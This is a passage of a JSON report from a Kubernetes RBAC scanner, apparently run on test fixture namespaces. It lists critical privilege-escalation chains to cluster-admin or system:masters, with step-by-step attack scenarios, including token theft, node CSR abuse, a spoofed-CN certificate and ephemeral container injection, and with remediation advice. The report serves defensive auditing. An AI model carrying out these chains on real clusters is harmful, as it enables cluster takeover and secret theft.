      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker uses the `colocated_sa_token_theft` technique to reach `ServiceAccount/deepchain-tenant/deepchain-privileged` via `namespace-admin in deepchain-tenant`, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.",
      "The identity `ServiceAccount/deepchain-tenant/deepchain-privileged` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]",
        "2. colocated_sa_token_theft [namespace-admin in deepchain-tenant]",
        "3. wildcard_permission [*:*:*]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 3,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "modify_role_binding",
        "colocated_sa_token_theft",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "colocated_sa_token_theft",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "permission": "namespace-admin in deepchain-tenant",
        "gains": "can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged"
      },
      {
        "step": 3,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "deepchain-privileged",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-joiner:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.350000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can reach **cluster-admin equivalent** in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-joiner` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/nodeid-fixtures/nodeid-joiner` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. wildcard_permission [*:*:*]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 3,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-token-create:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount csr-fixtures/sa-csr-mint\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/csr-fixtures/sa-csr-mint`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount csr-fixtures/sa-csr-mint",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/privesc-fixtures/sa-ephemeral:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.25,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa\n  2. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-ephemeral` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/privesc-fixtures/sa-ephemeral` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/foothold-exec/foothold-decoy-sa` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa.",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
